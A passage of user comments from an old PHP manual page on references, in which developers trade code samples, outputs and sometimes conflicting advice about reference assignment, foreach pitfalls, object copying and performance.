    $objs[] =& $a;
}
var_export($objs);
echo "\n\n";

echo "new PHP 5 style, ** only change is removal of & in 'new' assignment **:\n";
$objs = array();
foreach (array(37, "Wisconsin", 3.14159) as $i) {
    $a = new Gotcha($i);
    $objs[] =& $a;
}
var_export($objs);
echo "\n\n";

echo "php version = " . phpversion() . "\n";
?>

Output is:

old PHP 4 style, generates 'deprecated' warnings:
array (
  0 =>
  Gotcha::__set_state(array(
     'x' => 37,
  )),
  1 =>
  Gotcha::__set_state(array(
     'x' => 'Wisconsin',
  )),
  2 =>
  Gotcha::__set_state(array(
     'x' => 3.14159,
  )),
)

new PHP 5 style, ** only change is removal of & in 'new' assignment **:
array (
  0 =>
  Gotcha::__set_state(array(
     'x' => 3.14159,
  )),
  1 =>
  Gotcha::__set_state(array(
     'x' => 3.14159,
  )),
  2 =>
  Gotcha::__set_state(array(
     'x' => 3.14159,
  )),
)

php version = 5.3.3-7+squeeze3
bjb6371 at rit dot edu 15-Mar-2011 06:48
I've personally found the clone operation to be less than desirable in creating duplicate objects. I've therefore resided to the solution of using a Copyable interface which requires a single method, copy, to be implemented. Copy would then perform the assignment to a new instance of the object from the $this reference. This prevents referencing issues between cloned copies of the same object.

If anyone has a more robust solution to a string reference acting "static" across cloned objects please let me know. I've given up at this point.
caslav dot sabani at gmail dot com 13-Dec-2010 07:48
Consider this when using references:

<?php

class Test
{
    public $var;
}

$a = new Test();
$a->var = 10;

$b = $a;

$c =& $a;

echo '<b>$a</b>:';
echo '<pre>';
print_r( $a );
echo '</pre>';

unset( $b );

echo 'after <b>unsetting</b> $b  <b>$a</b> is:';
echo '<pre>';
print_r( $a );
echo '</pre>';

unset( $c );

echo 'after <b>unsetting</b> $c <b>$a</b> is:';
echo '<pre>';
print_r( $a );
echo '</pre>';

$a = new Test();
$a->var = 10;

$b = $a;

$c =& $a;

echo '<b>$a</b>:';
echo '<pre>';
print_r( $a );
echo '</pre>';

$b = NULL;

echo 'after <b>nulling</b> $b  <b>$a</b> is:';
echo '<pre>';
print_r( $a );
echo '</pre>';

$c = NULL;

echo 'after <b>nulling</b> $c <b>$a</b> is:';
echo '<pre>';
print_r( $a );
echo '</pre>';

?>

This outputs:

$a:

Test Object
(
    [var] => 10
)

after unsetting $b $a is:

Test Object
(
    [var] => 10
)

after unsetting $c $a is:

Test Object
(
    [var] => 10
)

$a:

Test Object
(
    [var] => 10
)

after nulling $b $a is:

Test Object
(
    [var] => 10
)

after nulling $c $a is:
zoranbankovic at gmail dot com 16-Oct-2010 01:59
If someone wants to add slashes to multidimensional array directly, can use recursive (pass-by-reference) function like this:
<?php
function slashit(&$aray, $db_link)
{
  foreach ($aray as $key => &$value)
   if(is_array($value)) slashit($value, $link);
   else $aray[$key] = mysql_real_escape_string($value, $db_link);
}

// Test:
$fruits = array (
    "fruits"  => array("a" => "or'ange", "b" => "ban'ana", "c" => "apple'"),
    "numbers" => array(1, 2, 3, 4, 5, 6),
    "holes"   => array("fir'st", 5 => "sec'ond", "thir'd"),
    "odma"    => "jugo'slavija"
);

// You have to make link to the database or can use addslashes instead of mysql_real_escape_string and remove $link from function definition

slashit($fruits, $dbLink);
echo "<pre>"; print_r($fruits); echo "</pre>";
?>

// Output:
Array
(
    [fruits] => Array
        (
            [a] => or\'ange
            [b] => ban\'ana
            [c] => apple\'
        )

    [numbers] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
        )

    [holes] => Array
        (
            [0] => fir\'st
            [5] => sec\'ond
            [6] => thir\'d
        )

    [odma] => jugo\'slavija
)
dev dot php at linke-t dot net 30-Aug-2010 02:01
I thought Yeah pointer likly behavior... but i watched serilized objects and what i did see? referenced Objects are outputed like the object self.

Here is a simple code, it shows that the references are sweet but in some case (storing objects to $_SESSION or Database) unuseable:

<?php
class foo{
    private static $id_c = 0;
    public $ref;
    public $id;
    public function foo(){
        $this->id=self::$id_c++;
    }
}
$a = new foo();
$b = new foo();
$a->ref = &$b;

print_r($a);
echo "<br/>";
print_r($b);
echo "<br/><br/>";

$a->ref->id++;
echo "increment \$a->ref->id++;<br/><br/>";

print_r($a);
echo "<br/>";
print_r($b);
echo "<br/><br/>";
echo "\$a2=unserialize(serialize(\$a));<br/><br/>";
$a2=unserialize(serialize($a));

print_r($a2);
echo "<br/>";
print_r($b);
echo "<br/><br/>";

$a2->ref->id++;
echo "increment \$a2->ref->id++;<br/><br/>";

print_r($a2);
echo "<br/>";
print_r($b);
echo "<br/>";
?>

Output on PHP 5.3.3:
foo Object ( [ref] => foo Object ( [ref] => [id] => 1 ) [id] => 0 )
foo Object ( [ref] => [id] => 1 )

increment $a->ref->id++;

foo Object ( [ref] => foo Object ( [ref] => [id] => 2 ) [id] => 0 )
foo Object ( [ref] => [id] => 2 )

$a2=unserialize(serialize($a));

foo Object ( [ref] => foo Object ( [ref] => [id] => 2 ) [id] => 0 )
foo Object ( [ref] => [id] => 2 )

increment $a2->ref->id++;

foo Object ( [ref] => foo Object ( [ref] => [id] => 3 ) [id] => 0 )
foo Object ( [ref] => [id] => 2 )

after unserialize $a2->ref isn't any more a reference.

To save items for the next request, you must avoid references and save all objects of a class in an array. To get a PHP-reference you could write a function like:
<?php
function get_obj_by_ref($ref){
    global $_array_where_objects_of_class_foo_are_stored;
    $r = &$_array_where_objects_of_class_foo_are_stored[$ref];
    return $r;
}
?>

I am unhappy about this behavior of PHP. I does not watch like a feature ... ;)
gnuffo1 at gmail dot com 27-Aug-2010 07:07
If you want to know the reference count of a particular variable, then here's a function that makes use of debug_zval_dump() to do so:

<?php
function refcount($var)
{
    ob_start();
    debug_zval_dump($var);
    $dump = ob_get_clean();

    $matches = array();
    preg_match('/refcount\(([0-9]+)/', $dump, $matches);

    $count = $matches[1];

    //3 references are added, including when calling debug_zval_dump()
    return $count - 3;
}
?>

debug_zval_dump() is a confusing function, as explained in its documentation, as among other things, it adds a reference count when being called as there is a reference within the function. refcount() takes account of these extra references by subtracting them for the return value.

It's also even more confusing when dealing with variables that have been assigned by reference (=&), either on the right or left side of the assignment, so for that reason, the above function doesn't really work for those sorts of variables. I'd use it more on object instances.

However, even taking into account that passing a variable to a function adds one to the reference count; which should mean that calling refcount() adds one, and then calling debug_zval_dump() adds another, refcount() seems to have aquired another reference from somewhere; hence subtracting 3 instead of 2 in the return line. Not quite sure where that comes from.

I've only tested this on 5.3; due to the nature of debug_zval_dump(), the results may be completely different on other versions.
Youssef Omar 15-Dec-2009 12:27
This is to show the affect of changing property of object A through another object B when you pass object A as a property of another object B.

<?php
 // data class to be passed to another class as an object
 class A{
     public $info;
    function __construct(){
        $this->info = "eeee";
    }
 }

 // B class to change the info in A obj
 class B_class{
     public $A_obj;

    function __construct($A_obj){
        $this->A_obj =  $A_obj;
    }
    public function change($newVal){
        $this->A_obj->info = $newVal;
    }
 }

 // create data object from the A
 $A_obj = new A();
 // print the info property
 echo 'A_obj info: ' . $A_obj->info . '<br/>';

 // create the B object and pass the A_obj we created above
 $B_obj = new B_class($A_obj);
 // print the info property through the B object to make sure it has the same value 'eeee'
 echo 'B_obj info: ' . $B_obj->A_obj->info . '<br/>';

 // chage the info property
 $B_obj->change('xxxxx');
 // print the info property through the B object to make sure it changed the value to 'xxxxxx'
 echo 'B_obj info after change: ' . $B_obj->A_obj->info . '<br/>';
 // print the info property from the A_obj to see if the change through B_obj has affected it
 echo 'A_obj info: ' . $A_obj->info . '<br/>';

?>

The result:

A_obj info: eeee
B_obj info: eeee
B_obj info after change: xxxxx
A_obj info: xxxxx
strata_ranger at hotmail dot com 30-Sep-2009 11:59
Note that in PHP5 you generally don't need the reference operator -- at all -- when dealing with class objects, because PHP5 implements objects using Instances (which are more like C pointers than PHP's references system).

For example:
<?php
//
// Since PHP 5
//

$foo = new stdClass();

// $bar and $foo are still holding the same (single) object
$bar = $foo;
var_dump($foo, $bar)
// object(stdClass)#1 (0) { }
// object(stdClass)#1 (0) { }

$bar->member = "Something";
var_dump($foo, $bar);
// object(stdClass)#1 (1) {
//  ["member"]=>
//  string(9) "Something"
// }
// object(stdClass)#1 (1) {
//   ["member"]=>
//   string(9) "Something"
// }

// Use the 'clone' keyword to make a separate copy of the object
$bar = clone $foo;
$bar->member = "Something";
var_dump($foo, $bar);
// object(stdClass)#1 (0) { }
// object(stdClass)#2 (1) {
//   ["member"]=>
//   string(9) "Something"
// }

?>
Anonymous 01-Sep-2009 01:07
After hours of confusion and reading tons of posts I finally figured out that replacing PHP 4 style object creation, where new is assigned by reference:

$node_obj =& new someClass($somearg, $moreargs);

which in PHP 5.3.0 generates an E_STRICT message telling you that "Assigning the return value of new by reference is deprecated"

with the following, where & has been removed:

$node_obj = new someClass($somearg, $moreargs);

in some cases (at least in recursive loops while creating a tree of nodes containing child nodes) requires

unset($node_obj);

before the actual object assignment line to avoid all child nodes becoming identical.

Hope that delicate piece of information will save someone else a few hours.
wernerdegroot at nospam dot gmail 14-Jul-2009 11:56
In the following case you don't have to use = & operator when returning a reference:

<?php

    class a {
        public $a = 1;
    }

    class b {
        static $var;

        public static function & gvar($i) {
            if(!(isset(b::$var[$i]))) {
                b::$var[$i] = new a;
            }

            return b::$var[$i];
        }
    }

    $b = new b;
    $a = b::gvar(1);
    $a->a = 14;

    $c = b::gvar(1);
    echo $c->a; // 14
?>

Note the $a = b::gvar(1) instead of $a = & b::gvar(1)!!!
midir 28-Feb-2009 11:44
Here is a good magazine article (PDF format) that explains the internals of PHP's reference mechanism in detail: http://derickrethans.nl/files/phparch-php-variables-article.pdf

It should explain some of the odd behavior PHP sometimes seems to exhibit, as well as why you can't create "references to references" (unlike in C++), and why you should never attempt to use references to speed up passing of large strings or arrays (it will make no difference, or it will slow things down).

It was written for PHP 4 but it still applies. The only difference is in how PHP 5 handles objects: passing object variables by value only copies an internal pointer to the object. Objects in PHP 5 are only ever duplicated if you explicitly use the clone keyword.
bytepirate 09-Feb-2009 02:00
in additon to blakes comment. try this:

<?php
$strlen=60000;
$bstring=str_repeat("X",$strlen);
$astring=$bstring;
$starttime=microtime(true);
for($i=0;$i<=$strlen;$i++){
  if($i==strlen($astring))
     echo "End of String<br>";
}
echo (microtime(true)-$starttime)." seconds expired";
?>

and now change '$astring=$bstring;' to '$astring=&$bstring;'
on my system its 200 times slower with the reference.
increase $strlen and it gets even worse ;-)

(PHP 5.25 on UNIX)
ivan at mailinator dot com 09-Dec-2008 05:09
A little gotcha (be careful with references!):

<?php
$arr = array('a'=>'first', 'b'=>'second', 'c'=>'third');
foreach ($arr as &$a); // do nothing. maybe?
foreach ($arr as $a);  // do nothing. maybe?
print_r($arr);
?>
Output:

Array
(
    [a] => first
    [b] => second
    [c] => second
)

Add 'unset($a)' between the foreachs to obtain the 'correct' output:

Array
(
    [a] => first
    [b] => second
    [c] => third
)
blake 15-Aug-2008 07:22
To ffmandu13 at hotmail dot com, that's not correct. If you do a little research, you'll see that the Zend Engine employs "copy-on-write" logic, meaning that variables will be referenced instead of copied until it's actually written to. There's really no need to circumvent Zend's internal optimizations, since they're probably much more advanced than you think. Here's a good link to read over:

http://bytes.com/forum/thread769586.html

As stated, there's rarely (if ever) a need to use references for optimization purposes. When in doubt, remember that in most cases, the Zend Engine > you.
ffmandu13 at hotmail dot com 26-Jul-2008 07:06
Just a side note to make developpers more careful about references.
References are pretty much useful when you try to optimize your code.

By the way, the time gained by referenced variables will depend of the variable type.

Integer and Float variables will work quite as fast referenced or not.
Whereas String and Array should be always passed by reference (you mostly divide by 10 the execution time).
Objects are automatically referenced by PHP.

Enjoy the references !
zzo38 16-Jul-2008 01:08
You can make references like pointers. Example:
<?php
  $a=6;
  $b=array(&$a); // $b is a pointer to $a
  $c=array(&$b); // $c is a pointer to $b
  $d=7;
  $c[0][0]=9; // $a is 9
  $c[0]=array(&$d); // $b is a pointer to $d
  $c[0][0]=4; // $d is 4
  $b=array(&$a); // $b is a pointer to $a again
  echo $a.$b[0].$c[0][0].$d; // outputs 9994
?>
These kind of pointers may even be passed to functions or returned from functions, copied and stored in multiple arrays/variables/objects, etc.
jasonpvp at gmail dot com 10-Jul-2008 04:16
To change values in a multi-dimensional array while looping through:

$var=array('a'=>array(1,2,3),'b'=>array(4,5,6));

foreach ($var as &$sub) {
  foreach ($sub as &$element) {
    $element=$element+1;
  }
}

var_dump($var);

------------------------------
produces:
------------------------------
array(2) {
  ["a"]=>
  array(3) {
    [0]=>
    int(2)
    [1]=>
    int(3)
    [2]=>
    int(4)
  }
  ["b"]=>
  array(3) {
    [0]=>
    int(5)
    [1]=>
    int(6)
    [2]=>
    int(7)
  }
}
mpapec 26-Jun-2008 05:23
It's strange that function definition AND call to the same function must have "&" before them.

$arr = array();
$ref =& oras($arr['blah'], array());
$ref []= "via ref";
print_r($arr);

/* result
Array
(
    [blah] => Array
        (
            [0] => via ref
        )

)
*/

// perl like ||=
function &oras (&$v, $new) {
  $v or $v = $new;
  return $v;
}
dnhuff at acm dot org 09-Jun-2008 12:40
This is discussed before (below) but bears repeating:

$a = null; ($a =& null; does not parse) is NOT the same as unset($a);

$a = null; replaces the value at the destination of $a with the null value;

If you chose to use a convention like $NULL = NULL;

THEN, you could say $a =& $NULL to break any previous reference assignment to $a (setting it of course to $NULL), which could still get you into trouble if you forgot and then said $a = '5'. Now $NULL would be '5'.

Moral: use unset when it is called for.
Dave at SymmetricDesigns dot com 20-May-2008 11:24
Another example of something to watch out for when using references with arrays.  It seems that even an usused reference to an array cell modifies the *source* of the reference.  Strange behavior for an assignment statement (is this why I've seen it written as an =& operator?  - although this doesn't happen with regular variables).
<?php
    $array1 = array(1,2);
    $x = &$array1[1];   // Unused reference
    $array2 = $array1;  // reference now also applies to $array2 !
    $array2[1]=22;      // (changing [0] will not affect $array1)
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 22    // var_dump() will show the & here
    )

I fixed my bug by rewriting the code without references, but it can also be fixed with the unset() function:
<?php
    $array1 = array(1,2);
    $x = &$array1[1];
    $array2 = $array1;
    unset($x); // Array copy is now unaffected by above reference
    $array2[1]=22;
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 2
    )
Radek at cz 25-Apr-2008 11:35
It took me a long while until I fully understood the sentence mentioned above:

"They (references) are not like C pointers; instead, they are symbol table aliases."

Here is a little example to that.

<?php
class AnyClass {
    public $member;
    public function __construct($val) {
        $this->member = $val;
    }
}

$manyObjects = array();
$obj = null;

for($i = 0; $i < 5;$i++) {
    $obj = new AnyClass($i); // create new instance
    $manyObjects[] = &$obj; // i did not wanted to copy, just store the reference in the array, which turned out to be WRONG (it is not reference to the CLASS INSTANCE what is stored in the array, but rather reference to what variable with NAME $obj CURRENTLY holds).
// so we end up as shown below
}

for($i = 0; $i < 5;$i++) {
    echo "Value:".$manyObjects[$i]->member."\r\n";
}

/**
 * Output is :
 * Value:4
 * Value:4
 * Value:4
 * Value:4
 * Value:4

 * instead of expected

 * Value:0
 * Value:1
 * Value:2
 * Value:3
 * Value:4
 */

// If we change the value of $obj later in the script, all members would be changed in that moment

$obj = 1;
print_r($manyObjects);
/*
Array
(
    [0] => 1
    [1] => 1
    [2] => 1
    [3] => 1
    [4] => 1
)
*/
?>

Hope this spares someone few hours of time ;-)
Anonymous 22-Apr-2008 11:42
To henrik at newdawn dot dk, 28-Oct-2007

No, it's not strange.
$this->$var['key'] tries to look up 'key' in the array $var and then use that for the property name. $this->{$var}['key'], on the other hand...
alexey at gmail dot com 25-Nov-2007 12:47
I will describe how references interact with global variables.

Consider the following example. You create a DOM tree and then you use two functions. The first chooses an arbitrary tree element, while the second uses that element. Let us use a global variable as the means of communication between the two functions:

// global variable
var $dom_el;

test1(); // call first function
test2(); // call second function

function test1() {
global $dom_el, $Doc;

$dom_el = &$Doc->childNodes->item(0);
}

function test2() {
global $dom_el;

// $dom_el does not contain the reference! You cannot use it here.
// I am using PHP 4.4.6
}

If we assign a reference to the desired tree node in the first function then surprisingly the reference will disappear after the first function returns. That is, that reference is not saved in the global variable. Most likely, it is a feature of PHP 4 language. Specifically, I am using PHP 4.4.6. Thus, using a global variable to pass a reference from one function to another does not work.

However, if we save the reference as a field of an object, then the reference is preserved. Therefore, we need to wrap the global variable
in a class:

class Pointer {
var $i;

function Pointer() {
$this->i=null;
}

function set(&$_i) {
$this->i = &$_i;
}

function &get() {
return $this->i;
}
}

?>

Now the code looks like this:

$dom_el=new Pointer();

function test1() {
global $dom_el, $Doc;
$tmp = &$Doc->childNodes->item(0);
$dom_cur->set($tmp);
}

function test2() {
global $dom_el;

$tmp = &$dom_cur->get();
//$tmp has the desired reference
}
marco at greenlightsolutions dot nl 15-Nov-2007 02:38
I ran into a bit of a problem recently, with an array copy resulting in a reference copy of one of the elements instead of a clone. Sample code:

<?php
$a=array(1 => "A");
$b=&$a[1];
$c=$a; // should be a deep cloning
$c[1]="C";
var_dump($a[1]); // yields 'C' instead of 'A'
?>

After some searching, I found that it was a known bug which would be too costly to fix (see http://bugs.php.net/bug.php?id=20993). There was supposed to be some documentation on this behaviour on this page:

"Due to peculiarities of the internal workings of PHP, if a reference  is made to a single element of an array and then the array is copied, whether by assignment or when passed by value in a function call, the reference is copied as part of the array.  This means that changes to any such elements in either array will be duplicated in the other array (and in the other references), even if the arrays have different scopes (e.g. one is an argument inside a function and the other is global)!  Elements that did not have references at the time of the copy, as well as references assigned to those other elements after the copy of the array, will behave normally (i.e. independent of the other array)."

However, this paragraph appears to have been removed from this page at some point, presumably because it was a bit obscure. The comments section seem to be a proper place for this, though.
warnickr at gmail dot com 10-Nov-2007 01:15
I must say that it has been rather confusing following all of the explanations of PHP references, especially since I've worked a lot with C pointers.  As far as I can tell PHP references are the same as C pointers for all practical purposes.  I think a lot of the confusion comes from examples like the one shown below where people expect that a C pointer version of this would change what $bar references.

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

This is not the case.  In fact, a C pointer version of this example (shown below) would behave exactly the same way (it would not modify what bar references) as the PHP reference version.

int baz = 5;
int* bar;
void foo(int* var)
{
    var = &baz;
}
foo(bar);

In this case, just as in the case of PHP references, the call foo(bar) doesn't change what bar references.  If you wanted to change what bar references, then you would need to work with a double pointer like so:

int baz = 5;
int* bar;
void foo(int** var)
{
    *var = &baz;
}
foo(&bar);
henrik at newdawn dot dk 27-Oct-2007 03:21
A note for those of you that are using constructs like the following:
return $this->$MyVarName
in your objects.

Consider the following:
class Test {
        var $MyArray = array();
        function add($var) {
                $this->$var[rand(1,100)] = rand(1,100);
        }
        function show($var) {
                echo "\nEcho from Test:\n";
                print_r($this->$var);
        }

}
$test = new Test();
$test->show('MyArray');
$test->add('MyArray');
$test->add('MyArray');
$test->add('MyArray');
$test->show('MyArray');

will output

Echo from Test:
Array
(
)

Fatal error: Cannot access empty property in /home/webroot/framework_devhost_dk/compiler/test2.php on line 5

For this to work properly you have to use a construct similar to this:
class Test {
        var $MyArray = array();
        function add($var) {
                $tmp =& $this->$var; //This is the trick... strange but true ;)
                $tmp[rand(1,100)] = rand(1,100);
        }
        function show($var) {
                echo "\nEcho from Test:\n";
                print_r($this->$var);
        }

}
$test = new Test();
$test->show('MyArray');
$test->add('MyArray');
$test->add('MyArray');
$test->add('MyArray');
$test->show('MyArray');

Will output:
Echo from Test:
Array
(
)

Echo from Test:
Array
(
    [19] => 17
    [53] => 57
    [96] => 43
)
rmaj 27-Sep-2007 10:52
<?

$a = array("a"=>"111", "b"=>"222", "c"=>"333");
foreach ($a as $ix => $val) {
  $ref = &$a[$ix];
  $ref = $val . '_changed';
}

foreach ($a as $ix => $val) echo "$val ";
// 111_changed 222_changed 333_changed

?>

is a simply way to change elements of array witohut retyping $array_name[$index] all the time
riseofthethorax at gmail dot com 01-Jul-2007 03:27
I don't see what the big fuss is, I've used pass
by reference to modify dangling variables in tree structures serializing and deserializing structures to databases.. It seems the reason for this limitation is due to the 99% PHP Newbie syndrome and their lack of pointer experience.. Note the only difference between C and PHP references is there is no pointer arithmetic.. Whether it's an alias or a memory location with the address of another, it's basically the same thing.. If you wanted I could implement tree structures in a linear resizeable array.

What am I supposed to do with
array_walk(&$datastructure,'function');
????

What am I not getting here.. What is the logic behind disabling it.. When did the PHP coders get all theoretical on us.. C is a great language because it keeps the idiots at bay, and allows you to shoot yourself in the foot if you really want to.. If I wanted to protect myself from bad code techniques I'd go write in python or lisp.

Better yet why don't we send the 99% to school to get computer science degrees.
eduardofleury at uol dot com dot br 09-Jun-2007 06:58
<?php
$foo = 'Hello';
$bar = 'World';
print $foo . " " . $bar;// Hello World

$foo = &$bar;
$bar = 'Hello My World';

print $foo;// Hello My World
print $bar;// Hello My World

?>
maghiel at mdijksman dot nl 10-May-2007 04:02
Note that:

Call-time pass-by-reference has been deprecated - argument passed by value; If you would like to pass it by reference, modify the declaration of xxxxx. If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file. However, future versions may not support this any longer
trucex at gmail dot com 05-May-2007 01:49
In response to Xor and Slava:

I recommend you read up a bit more on the way PHP handles memory management. Take the following code for example:

<?php

$data = $_POST['lotsofdata'];
$data2 = $data;
$data3 = $data;
$data4 = $data;
$data5 = $data;

?>

Assuming we post 10MB of data to this PHP file, what will PHP do with the memory?

PHP uses a table of sorts that maps variable names to the data that variable refers to in memory. The $_POST superglobal will actually be the first instance of that data in the execution, so it will be the first variable referenced to that data in the memory. It will consume 10MB. Each $data var will simply point to the same data in memory. Until you change that data PHP will NOT duplicate it.

Passing a variable by value does just what I did with each $data var. There is no significant overhead to assigning a new name to the same data. It is only when you modify the data passed to the function that it must allocate memory for the data. Passing a variable by reference will do essentially the same thing when you pass the data to the function, only modifying it will modify the data that is in the memory already versus copying it to a new location in memory.

If for learning purposes you choose to disregard the obvious pointlessness in benchmarking the difference between these two methods of passing arguments, you will need to modify the data when it is passed to the function in order to obtain more accurate results.
sneskid at hotmail dot com 06-Mar-2007 12:47
(v5.1.4)
One cool thing about var_dump is it shows which variables are references (when dumping arrays), symbolized by '∫' for int/null, and by '&' for boolean/double/string/array/object. I don't know why the difference in symmmmbolism.
After playing around I found a better way to implement detaching (twas by accident). var_dump can show what's going on.

<?php
function &detach($v=null){return $v;}

$A=array('x' => 123, 'y' => 321);
$A['x'] = &$A['x'];
var_dump($A);
/* x became it's own reference...
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> int(321)
}*/

$A['y']=&$A['x'];
var_dump($A);
/* now both are references
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> ∫(123)
}*/

$z = 'hi';
$A['y']=&detach(&$z);
var_dump($A);
/* x is still a reference, y and z share
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> &string(2) "hi"
}*/

$A['x'] = $A['x'];
$A['y']=&detach();
var_dump($A,$z);
/* x returned to normal, y is on its own, z is still "hi"
array(2) {
  ["x"]=> int(123)
  ["y"]=> NULL
}*/
?>

For detach to work you need to use '&' in the function declaration, and every time you call it.

Use this when you know a variable is a reference, and you want to assign a new value without effecting other vars referencing that piece of memory. You can initialize it with a new constant value, or variable, or new reference all in once step.
sneskid at hotmail dot com 31-Oct-2006 09:33
in addition to what 'jw at jwscripts dot com' wrote about unset; it can also be used to "detach" the variable alias so that it may work on a unique piece of memory again.

here's an example

<?php
define('NL', "\r\n");

$v1 = 'shared';
$v2 = &$v1;
$v3 = &$v2;
$v4 = &$v3;

echo 'before:'.NL;
echo 'v1=' . $v1 . NL;
echo 'v2=' . $v2 . NL;
echo 'v3=' . $v3 . NL;
echo 'v4=' . $v4 . NL;

// detach messy
$detach = $v1;
unset($v1);
$v1 = $detach;

// detach pretty, but slower
eval(detach('$v2'));

$v1 .= '?';
$v2 .= ' no more';
$v3 .= ' sti';
$v4 .= 'll';

echo NL.'after:'.NL;
echo 'v1=' . $v1 . NL;
echo 'v2=' . $v2 . NL;
echo 'v3=' . $v3 . NL;
echo 'v4=' . $v4 . NL;

function detach($v) {
    $e = '$detach = ' . $v . ';';
    $e .= 'unset('.$v.');';
    $e .= $v . ' = $detach;';
    return $e;
}
?>

output {
before:
v1=shared
v2=shared
v3=shared
v4=shared

after:
v1=shared?
v2=shared no more
v3=shared still
v4=shared still
}

http://www.obdev.at/developers/articles/00002.html says there's no such thing as an "object reference" in PHP, but with detaching it becomes possible.

Hopefully detach, or something like it, will become a language construct in the future.
gunter dot sammet at gmail dot com 09-Aug-2006 01:23
I tried to create an array with n depth using a recursive function passing array references around. So far I haven't had much luck and I couldn't find anything on the web. So I ended up using eval() and it seems to work well:
<?php
      foreach(array_keys($this->quantity_array) AS $key){
        if($this->quantity_array[$key] > 0){
          $combinations = explode('-', $key);
          $eval_string = '$eval_array';
          foreach(array_keys($combinations) AS $key2){
            $option_key_value = explode('_', $combinations[$key2]);
            $eval_string .= '['.$option_key_value[0].']['.$option_key_value[1].']';
          }
          $eval_string .= ' = '.$this->quantity_array[$key].';';
          eval($eval_string);
        }
      }
?>

This produces an n dimensional array that will be available in the $eval_array variable. Hope it helps somebody!
Xor 02-Mar-2006 07:43
if given little - passing an array by reference slower than by value,
but not if it is necessary to process much data.

function test_ref(&$arr) {
   $size = sizeof($arr);
   for($n=0; $n<$size; $n++) {
       $x .= $arr[$n];
   }
   return $x;
}

function test_val($arr) {
   $size = sizeof($arr);
   for($n=0; $n<$size; $n++) {
       $x .= $arr[$n];
   }
   return $x;
}

// fill array
for($n=0; $n<500000; $n++) {
   $ar[] = "test".$n;
}
$Bs = array_sum(explode(' ', microtime()));
test_ref($ar);
echo "<br />The function using a reference took ".(array_sum(explode(' ', microtime()))-$Bs);
$Bs = array_sum(explode(' ', microtime()));
test_val($ar);
echo "<br />The funktion using a value took: ".(array_sum(explode(' ', microtime()))-$Bs);

The function using a reference took 10.035583019257
The funktion using a value took: 10.531390190125
Ed 22-Jan-2006 11:29
Responding to Slava Kudinov.  The only reason why your script takes longer when you pass by reference is that you do not at all modify the array that your passing to your functions.  If you do that the diffrences in execution time will be a lot smaller.  In fact  passing by reference will be faster if just by a little bit.
Slava Kudinov <skudinov gmail com> 22-Jan-2006 02:01
In addition to the "array vs &array" example below, php 5.1.2. It seems passing an array by reference slower than by value, consider:
<?php
function test_ref(&$arr) {
   $size = sizeof($arr);
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }
}

function test_val($arr) {
   $size = sizeof($arr);
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }
}

// fill array
for($n=0; $n<2000; $n++) {
   $ar[] = "test".$n;
}
$time = microtime();
test_ref($ar);
echo "<br />The function using a reference took ".(microtime() - $time)." s";
$time = microtime();
test_val($ar);
echo "<br />The funktion using a value took: ".(microtime() - $time)." s";
echo "<br />Done";
?>
output:
The function using a reference took 0.002694 s
The funktion using a value took: 0.000847 s
cesoid at yahoo dot com 10-Dec-2005 06:28
Responding to post from nathan (who was responding to iryoku).

It is important to note the difference between what php is doing from the programmer's point of view and what it is doing internally. The note that nathan refers to, about how (for example) $something = $this makes a "copy" of the current object, is talking about making a "copy" from the programmer's perspective. That is, for the programmer, for all practical purposes, $something is a copy, even if internally nothing has been copied yet. For example, changing the data in member $something->somethingVar will not change your current object's data (i.e. it will not change $this->somethingVar).

What it does internally is a totally different story. I've tested  "copying" an object which contains a 200,000 element array, it takes almost no time at all until you finally change something in one of the copies, because internally it only makes the copy when it becomes necessary. The original assignment takes less than a millisecond, but when I alter one of the copies, it takes something like a quarter of a second. But this only happens if I alter the 200,000 element array, if I alter a single integer of the object, it takes less than a microsecond again, so the interpretter seems to be smart enough to make copies of some of the objects variables and not others.

The result is that when you change a function to pass by reference, it will only become more efficient if, inside the function, the passed variable is having its data altered, in which case passing by reference causes your code to alter the data of the original copy. If you are passing an object and calling a function in that object, that function may alter the object without you even knowing, which means that you should pass an object by reference as long as it is ok for the original copy to be effected by what you do with the object inside the function.

I think the real moral of the story is this:
1) Pass by reference anything that should refer to and affect the original copy.
2) Pass not by reference things that will definitely not be altered in the function (for an object, it may be impossible to know whether it alters itself upon calling one of its functions).
3) If something needs to be altered inside a function without effecting the original copy, pass it not by reference, and pass the smallest practical part that needs to change, rather than passing, for example, a huge array of which one little integer will be altered.

Or a shorter version: Only pass things by reference when you need to refer to the original copy! (And don't pass huge arrays or long strings when you need to change just a small part of them!)
mramirez (at) star (minus) dev (dot) com 12-Oct-2005 09:10
For php programmers that come from pascal,
in object pascal (delphi),
variable references are used with the "absolute" keyword.

PHP example:

<?php

global $myglobal;

$myglobal = 5;

function test()
{
global $myglobal;

/*local*/ $mylocal =& $myglobal;

echo "local: " . $mylocal . "\n";
echo "gloal: " . $myglobal . "\n";
}

test();

?>

Pascal example:

program dontcare;

var myglobal: integer;

procedure test;
var mylocal ABSOLUTE myglobal;
begin
  write("local: ", mylocal);
  write("global: ", myglobal);
end;

begin
  myglobal := 5;
  test;
end.

By the way, a "local" keyword in php for local variables,
could be welcome :-)
y007pig at yahoo dot com dot cn 06-Oct-2005 11:02
In reply to pike at kw dot nl, '&' is only apply to PHP 4.
PHP 5 changed the behavior and the object is defaultly passed by references and if you turn on E_STRICT, you will get a notice:
Strict Standards: Assigning the return value of new by reference is deprecated in xxxx
If you want to *copy* object in PHP 5, use object clone.
pike at kw dot nl 01-Oct-2005 06:08
if your object seems to "forget" assignments you make after instantiation, realize that in

$foo = new Bar()

the variable on the left hand is a *copy* of the variable on the right hand. As a result, & references made during instantiation may point to the righthandside version of Bar() and not to $foo. you'd better use

$foo = & new Bar()
php at REMOVEMEkennel17 dot co dot uk 23-Aug-2005 06:56
I found a very useful summary of how references work in PHP4 (and some of the common pitfalls) in this article: http://www.obdev.at/developers/articles/00002.html

It deals with some subtle situations and I recommend it to anyone having difficulty with their references.
grayson at uiuc dot edu 12-Aug-2005 08:59
